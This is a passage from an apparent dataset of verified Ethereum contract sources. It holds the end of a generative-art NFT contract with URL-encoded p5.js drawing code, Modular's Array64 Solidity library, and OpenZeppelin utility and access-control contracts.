'%22%3Bfunction%20sdfsd%28t%29%7Breturn%20function%28%29%7Bvar%20e%3Dt%2B%3D1831565813%3Breturn%20e%3DMath.imul%28e%5Ee%3E%3E%3E15%2C1%7Ce%29%2C%28%28%28e%5E%3De%2BMath.imul%28e%5Ee%3E%3E%3E7%2C61%7Ce%29%29%5Ee%3E%3E%3E14%29%3E%3E%3E0%29%2F4294967296%7D%7Dfunction%20wraw%28t%29%7Bvar%20e%2Cr%3D%5B%5D%3Bfor%28e%3D0%3Be%3Ct.length%3Be%2B%2B%29r%5Be%5D%3Dt%5Be%5D.w1%2B%28r%5Be-1%5D%7C%7C0%29%3Bvar%20i%3Drand%28%29%2Ar%5Br.length-1%5D%3Bfor%28e%3D0%3Be%3Cr.length%26%26%21%28r%5Be%5D%3Ei%29%3Be%2B%2B%29%3Breturn%20t%5Be%5D%7Dfunction%20wrnd%28t%29%7Breturn%20wraw%28t%29.a1%7Dfunction%20gRI%28t%29%7Breturn%20Math.floor%28rand%28%29%2At%29%7Dfunction%20traitRaw%28t%2Ce%29%7Breturn%20e%3E%3Dt.length%3Ft%5Bt.length-1%5D%3At%5Be%5D%7Dfunction%20trait%28t%2Ce%29%7Breturn%20traitRaw%28t%2Ce%29.a1%7Dvar%20colors%2Cbgc%2Cc%2CdidStart%2Cimg%2Cwd%2Chei%2Cseed%2Crand%2Ctz0%2Ctz1%2Ctz2%2Ctz3%2Ctz4%2Ctz5%2Ctz6%2Ctz7%2Ctz8%2Ctz9%2Ctz10%2Cborder%2Cnum%2ClnThk%2CpxSz%2CnsScl%2CnsStr%2ClOr%2CnnUniS%2CisSUni%2Cspeed%2Czz%2Cptks%2CrunCount%2Ccanvas%2ColdWd%2ColdHei%3Bfunction%20hashToTraits%28t%29%7Bt%26%26%28tz0%3Dt.charAt%280%29%2Ctz1%3Dt.charAt%281%29%2Ctz2%3Dt.charAt%282%29%2Ctz3%3Dt.charAt%283%29%2Ctz4%3Dt.charAt%284%29%2Ctz5%3Dt.charAt%285%29%2Ctz6%3Dt.charAt%286%29%2Ctz7%3Dt.charAt%287%29%2Ctz8%3Dt.charAt%288%29%2Ctz9%3Dt.charAt%289%29%2Ctz10%3Dt.charAt%2810%29%2Ctz1%3DNumber%28tz0.toString%28%29%2Btz1.toString%28%29%29%29%7Dfunction%20setup%28%29%7Bseed%3DtokenId%2Ctz0%3D0%2Ctz1%3D7%2Ctz2%3D7%2Ctz3%3D7%2Ctz4%3D7%2Ctz5%3D7%2Ctz6%3D7%2Ctz7%3D7%2Ctz8%3D7%2Ctz9%3D7%2Ctz10%3D7%2Ctz1%3DNumber%28tz0.toString%28%29%2Btz1.toString%28%29%29%2ChashToTraits%28hash%29%2Crand%3Dsdfsd%28seed%29%2Cborder%3D0%3D%3Dtz2%3F20%3A0%3Bnum%3Dtrait%28%5B%7Ba1%3A1e3%2Cw1%3A10%7D%2C%7Ba1%3A500%2Cw1%3A10%7D%2C%7Ba1%3A250%2Cw1%3A10%7D%2C%7Ba1%3A100%2Cw1%3A70%7D%5D%2Ctz3%29%3BlnThk%3Dtrait%28%5B%7Ba1%3A40%2Cw1%3A1%7D%2C%7Ba1%3A30%2Cw1%3A4%7D%2C%7Ba1%3A10%2Cw1%3A5%7D%2C%7Ba1%3A20%2Cw1%3A90%7D%5D%2Ctz4%29%2CpxSz%3D0%3D%3Dtz5%3F20%3A10%3BnsScl%3Dtrait%28%5B%7Ba1%3A1e4%2Cw1%3A1%7D%2C%7Ba1%3A250%2Cw1%3A4%7D%2C%7Ba1%3A50%2Cw1%3A5%7D%2C%7Ba1%3A500%2Cw1%3A90%7D%5D%2Ctz6%29%3BnsStr%3Dtrait%28%5B%7Ba1%3A10%2Cw1%3A1%7D%2C%7Ba1%3A5%2Cw1%3A4%7D%2C%7Ba1%3A2%2Cw1%3A5%7D%2C%7Ba1%3A1%2Cw1%3A90%7D%5D%2Ctz7%29%2ClOr%3D0%3D%3Dtz8%3F-1%3A1%2CnnUniS%3Dfunction%28%29%7Breturn%20lOr%2A%283%2BgRI%283%29%29%7D%2Cspeed%3D%28isSUni%3D1%3D%3Dtz9%29%3F10%2AlOr%3AnnUniS%28%29%3Bzz%3Dtrait%28%5B%7Ba1%3A0%2Cw1%3A5%7D%2C%7Ba1%3A250%2Cw1%3A5%7D%2C%7Ba1%3A300%2Cw1%3A10%7D%2C%7Ba1%3A400%2Cw1%3A10%7D%2C%7Ba1%3A500%2Cw1%3A70%7D%5D%2Ctz10%29%2Cptks%3D%5Bnum%5D%2CrunCount%3D0%2Cwd%3DMath.min%28800%2CwindowWidth%29%2Chei%3DMath.min%28960%2CwindowHeight%29%2Cwd%3DMath.ceil%28wd%2FpxSz%29%2ApxSz%2Chei%3DMath.ceil%28hei%2FpxSz%29%2ApxSz%2CdidStart%3D%211%2CnoiseSeed%28seed%29%3Bvar%20t%3DtraitRaw%28%5B%7Ba1%3A%5B%28c%3Dcolor%29%28%22%23ffa4d5%22%29%2Cc%28%22%2383ffc1%22%29%2Cc%28%22%23ffe780%22%29%2Cc%28%22%2399e2ff%22%29%5D%2CbgColor%3Ac%28%22%23ffffff%22%29%2Cw1%3A1%7D%2C%7Ba1%3A%5Bc%28%22%23ffffff%22%29%2Cc%28%22%23000000%22%29%5D%2Cw1%3A1%7D%2C%7Ba1%3A%5Bc%28%22%23305e90%22%29%2Cc%28%22%23db4e54%22%29%2Cc%28%22%234f3c2d%22%29%2Cc%28%22%23ffbb12%22%29%2Cc%28%22%23389894%22%29%2Cc%28%22%23e0d8c5%22%29%2Cc%28%22%23c7e3d4%22%29%5D%2Cw1%3A1%2CbgColor%3Ac%28%22%23ffffff%22%29%7D%2C%7Ba1%3A%5Bc%28%22%230827f5%22%29%2Cc%28%22%233751f7%22%29%2Cc%28%22%238493fa%22%29%5D%2Cw1%3A1%7D%2C%7Ba1%3A%5Bc%28%22%2300c1ff%22%29%2Cc%28%22%230023ff%22%29%2Cc%28%22%237215ff%22%29%2Cc%28%22%23ff03fc%22%29%2Cc%28%22%23ff000a%22%29%2Cc%28%22%23ff8700%22%29%2Cc%28%22%23fff700%22%29%2Cc%28%22%235fff00%22%29%2Cc%28%22%2300ff2e%22%29%5D%2Cw1%3A1%2CbgColor%3Ac%28%22%23ffffff%22%29%7D%2C%7Ba1%3A%5Bc%28%22%2300e000%22%29%2Cc%28%22%23005900%22%29%2Cc%28%22%23000000%22%29%5D%2Cw1%3A5%7D%2C%7Ba1%3A%5Bc%28%22%239d0208%22%29%2Cc%28%22%23d00000%22%29%2Cc%28%22%23e85d04%22%29%2Cc%28%22%23faa307%22%29%5D%2Cw1%3A5%7D%2C%7Ba1%3A%5Bc%28%22%23fff69f%22%29%2Cc%28%22%23fdd870%22%29%2Cc%28%22%23d0902f%22%29%2Cc%28%22%23a15501%22%29%2Cc%28%22%23351409%22%29%5D%2Cw1%3A5%7D%2C%7Ba1%3A%5Bc%28%22%23a0ffe3%22%29%2Cc%28%22%2365dc98%22%29%2Cc%28%22%238d8980%22%29%2Cc%28%22%23575267%22%29%2Cc%28%22%23222035%22%29%5D%2Cw1%3A5%7D%2C%7Ba1%3A%5Bc%28%22%230099ff%22%29%2Cc%28%22%235655dd%22%29%2Cc%28%22%238822ff%22%29%2Cc%28%22%23aa99ff%22%29%5D%2Cw1%3A5%7D%2C%7Ba1%3A%5Bc%28%22%237700a6%22%29%2Cc%28%22%23fe00fe%22%29%2Cc%28%22%23defe47%22%29%2Cc%28%22%2300b3fe%22%29%2Cc%28%22%230016ee%22%29%5D%2Cw1%3A5%7D%2C%7Ba1%3A%5Bc%28%22%23c4ffff%22%29%2Cc%28%22%2308deea%22%29%2Cc%28%22%231261d1%22%29%5D%2Cw1%3A10%7D%2C%7Ba1%3A%5Bc%28%22%23ff124f%22%29%2Cc%28%22%23ff00a0%22%29%2Cc%28%22%23fe75fe%22%29%2Cc%28%22%237a04eb%22%29%2Cc%28%22%23120458%22%29%5D%2Cw1%3A10%7D%2C%7Ba1%3A%5Bc%28%22%23111111%22%29%2Cc%28%22%23222222%22%29%2Cc%28%22%23333333%22%29%2Cc%28%22%23444444%22%29%2Cc%28%22%23666666%22%29%5D%2Cw1%3A10%7D%2C%7Ba1%3A%5Bc%28%22%23f887ff%22%29%2Cc%28%22%23de004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)
);
return htmlString;
}
/**
* @dev Hash to metadata function
*/
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
string memory metadataString;
uint8 paletteTraitIndex = AnonymiceLibrary.parseInt(
AnonymiceLibrary.substring(_hash, 0, 2)
);
metadataString = string(
abi.encodePacked(
metadataString,
'{"trait_type":"',
traitTypes[0][paletteTraitIndex].traitType,
'","value":"',
traitTypes[0][paletteTraitIndex].traitName,
'"},'
)
);
for (uint8 i = 2; i < 11; i++) {
uint8 thisTraitIndex = AnonymiceLibrary.parseInt(
AnonymiceLibrary.substring(_hash, i, i + 1)
);
metadataString = string(
abi.encodePacked(
metadataString,
'{"trait_type":"',
traitTypes[i][thisTraitIndex].traitType,
'","value":"',
traitTypes[i][thisTraitIndex].traitName,
'"}'
)
);
if (i != 10)
metadataString = string(abi.encodePacked(metadataString, ","));
}
return string(abi.encodePacked("[", metadataString, "]"));
}
/**
* @dev Returns the SVG and metadata for a token Id
* @param _tokenId The tokenId to return the SVG and metadata for.
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
require(_exists(_tokenId));
string memory tokenHash = _tokenIdToHash(_tokenId);
string memory description = '", "description": "Filaments is a collection of 500 unique pieces of generative pixel art. Metadata and art is mirrored permanently on-chain. Double click to full screen. Press F then right-click and save as a banner.",';
return
string(
abi.encodePacked(
"data:application/json;base64,",
AnonymiceLibrary.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Filaments #',
AnonymiceLibrary.toString(_tokenId),
description,
'"animation_url": "',
animationUrl,
AnonymiceLibrary.toString(_tokenId),
'","image":"',
imageUrl,
AnonymiceLibrary.toString(_tokenId),
'","attributes":',
hashToMetadata(tokenHash),
"}"
)
)
)
)
)
);
}
/**
* @dev Returns a hash for a given tokenId
* @param _tokenId The tokenId to return the hash for.
*/
function _tokenIdToHash(uint256 _tokenId)
public
view
returns (string memory)
{
string memory tokenHash = tokenIdToHash[_tokenId];
return tokenHash;
}
/*
___ __ __ ____ ___ ____ _____ __ __ ____ __ ______ ____ ___ ____ _____
/ \ | |__| || \ / _]| \ | || | || \ / ] || |/ \ | \ / ___/
| || | | || _ | / [_ | D ) | __|| | || _ | / /| | | || || _ ( \_
| O || | | || | || _]| / | |_ | | || | |/ / |_| |_| | || O || | |\__ |
| || ` ' || | || [_ | \ | _] | : || | / \_ | | | || || | |/ \ |
| | \ / | | || || . \ | | | || | \ | | | | || || | |\ |
\___/ \_/\_/ |__|__||_____||__|\_| |__| \__,_||__|__|\____| |__| |____|\___/ |__|__| \___|
*/
/**
* @dev Clears the traits.
*/
function clearTraits() public onlyOwner {
for (uint256 i = 0; i < 11; i++) {
delete traitTypes[i];
}
}
/**
* @dev Batch adds addresses to whitelist
*/
function batchWhitelist(address[] memory _users) public onlyOwner {
uint size = _users.length;
for (uint256 i=0; i< size; i++){
address user = _users[i];
whitelist[user] = true;
}
numWhitelisted += _users.length;
}
/**
* @dev Add a trait type
* @param _traitTypeIndex The trait type index
* @param traits Array of traits to add
*/
function addTraitType(uint256 _traitTypeIndex, Trait[] memory traits)
public
onlyOwner
{
for (uint256 i = 0; i < traits.length; i++) {
traitTypes[_traitTypeIndex].push(
Trait(
traits[i].traitName,
traits[i].traitType
)
);
}
return;
}
/**
* @dev Mint for burn
*/
function ownerMintForBurn() public onlyOwner {
uint256 _totalSupply = totalSupply();
require(_totalSupply < MAX_SUPPLY);
require(!AnonymiceLibrary.isContract(msg.sender));
uint256 thisTokenId = _totalSupply;
tokenIdToHash[thisTokenId] = hash(thisTokenId, msg.sender, 0);
hashToMinted[tokenIdToHash[thisTokenId]] = true;
_mint(0x000000000000000000000000000000000000dEaD, thisTokenId);
}
function flipMintingSwitch() public onlyOwner {
MINTING_LIVE = !MINTING_LIVE;
}
/**
* @dev Sets the p5js url
* @param _p5jsUrl The address of the p5js file hosted on CDN
*/
function setJsAddress(string memory _p5jsUrl) public onlyOwner {
p5jsUrl = _p5jsUrl;
}
/**
* @dev Sets the p5js resource integrity
* @param _p5jsIntegrity The hash of the p5js file (to protect w subresource integrity)
*/
function setJsIntegrity(string memory _p5jsIntegrity) public onlyOwner {
p5jsIntegrity = _p5jsIntegrity;
}
/**
* @dev Sets the base image url
* @param _imageUrl The base url for image field
*/
function setImageUrl(string memory _imageUrl) public onlyOwner {
imageUrl = _imageUrl;
}
/**
* @dev Sets the base animation url
* @param _animationUrl The base url for animations
*/
function setAnimationUrl(string memory _animationUrl) public onlyOwner {
animationUrl = _animationUrl;
}
} | True | [
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1008,
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pragma solidity 0.4.21;
/**
* @title Array64 Library
* @author Modular Inc, https://modular.network
*
* version 1.2.0
* Copyright (c) 2017 Modular, Inc
* The MIT License (MIT)
* https://github.com/Modular-Network/ethereum-libraries/blob/master/LICENSE
*
* The Array64 Library provides a few utility functions to work with
* storage uint64[] types in place. Modular provides smart contract services
* and security reviews for contract deployments in addition to working on open
* source projects in the Ethereum community. Our purpose is to test, document,
* and deploy reusable code onto the blockchain and improve both security and
* usability. We also educate non-profits, schools, and other community members
* about the application of blockchain technology.
* For further information: Modular.network
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
library Array64Lib {
/// @dev Sum vector
/// @param self Storage array containing uint256 type variables
/// @return sum The sum of all elements, does not check for overflow
function sumElements(uint64[] storage self) public view returns(uint256 sum) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,4)))
remainder := mod(i,4)
for { let j := 0 } lt(j, mul(remainder, 2)) { j := add(j, 1) } {
term := div(term,4294967296)
}
term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term)
sum := add(term,sum)
}
}
}
/// @dev Returns the max value in an array.
/// @param self Storage array containing uint256 type variables
/// @return maxValue The highest value in the array
function getMax(uint64[] storage self) public view returns(uint64 maxValue) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
maxValue := 0
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,4)))
remainder := mod(i,4)
for { let j := 0 } lt(j, mul(remainder, 2)) { j := add(j, 1) } {
term := div(term,4294967296)
}
term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term)
switch lt(maxValue, term)
case 1 {
maxValue := term
}
}
}
}
/// @dev Returns the minimum value in an array.
/// @param self Storage array containing uint256 type variables
/// @return minValue The highest value in the array
function getMin(uint64[] storage self) public view returns(uint64 minValue) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,4)))
remainder := mod(i,4)
for { let j := 0 } lt(j, mul(remainder, 2)) { j := add(j, 1) } {
term := div(term,4294967296)
}
term := and(0x000000000000000000000000000000000000000000000000ffffffffffffffff,term)
switch eq(i,0)
case 1 {
minValue := term
}
switch gt(minValue, term)
case 1 {
minValue := term
}
}
}
}
/// @dev Finds the index of a given value in an array
/// @param self Storage array containing uint256 type variables
/// @param value The value to search for
/// @param isSorted True if the array is sorted, false otherwise
/// @return found True if the value was found, false otherwise
/// @return index The index of the given value, returns 0 if found is false
function indexOf(uint64[] storage self, uint64 value, bool isSorted)
public
view
returns(bool found, uint256 index) {
if (isSorted) {
uint256 high = self.length - 1;
uint256 mid = 0;
uint256 low = 0;
while (low <= high) {
mid = (low+high)/2;
if (self[mid] == value) {
found = true;
index = mid;
low = high + 1;
} else if (self[mid] < value) {
low = mid + 1;
} else {
high = mid - 1;
}
}
} else {
for (uint256 i = 0; i<self.length; i++) {
if (self[i] == value) {
found = true;
index = i;
i = self.length;
}
}
}
}
/// @dev Utility function for heapSort
/// @param index The index of child node
/// @return pI The parent node index
function getParentI(uint256 index) private pure returns (uint256 pI) {
uint256 i = index - 1;
pI = i/2;
}
/// @dev Utility function for heapSort
/// @param index The index of parent node
/// @return lcI The index of left child
function getLeftChildI(uint256 index) private pure returns (uint256 lcI) {
uint256 i = index * 2;
lcI = i + 1;
}
/// @dev Sorts given array in place
/// @param self Storage array containing uint256 type variables
function heapSort(uint64[] storage self) public {
if(self.length > 1){
uint256 end = self.length - 1;
uint256 start = getParentI(end);
uint256 root = start;
uint256 lChild;
uint256 rChild;
uint256 swap;
uint64 temp;
while(start >= 0){
root = start;
lChild = getLeftChildI(start);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end+1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
if(start == 0)
break;
else
start = start - 1;
}
while(end > 0){
temp = self[end];
self[end] = self[0];
self[0] = temp;
end = end - 1;
root = 0;
lChild = getLeftChildI(0);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end + 1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
}
}
}
/// @dev Removes duplicates from a given array.
/// @param self Storage array containing uint256 type variables
function uniq(uint64[] storage self) public returns (uint256 length) {
bool contains;
uint256 index;
for (uint256 i = 0; i < self.length; i++) {
(contains, index) = indexOf(self, self[i], false);
if (i > index) {
for (uint256 j = i; j < self.length - 1; j++){
self[j] = self[j + 1];
}
delete self[self.length - 1];
self.length--;
i--;
}
}
length = self.length;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: github/bitmark-inc/feralfile-exhibition-smart-contract/contracts/Authorizable.sol
pragma solidity >=0.4.22 <0.9.0;
contract Authorizable is Ownable {
address public trustee;
constructor() {
trustee = address(0x0);
}
modifier onlyAuthorized() {
require(msg.sender == trustee || msg.sender == owner());
_;
}
function setTrustee(address _newTrustee) public onlyOwner {
trustee = _newTrustee;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/interfaces/IERC165.sol
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/interfaces/IERC2981.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
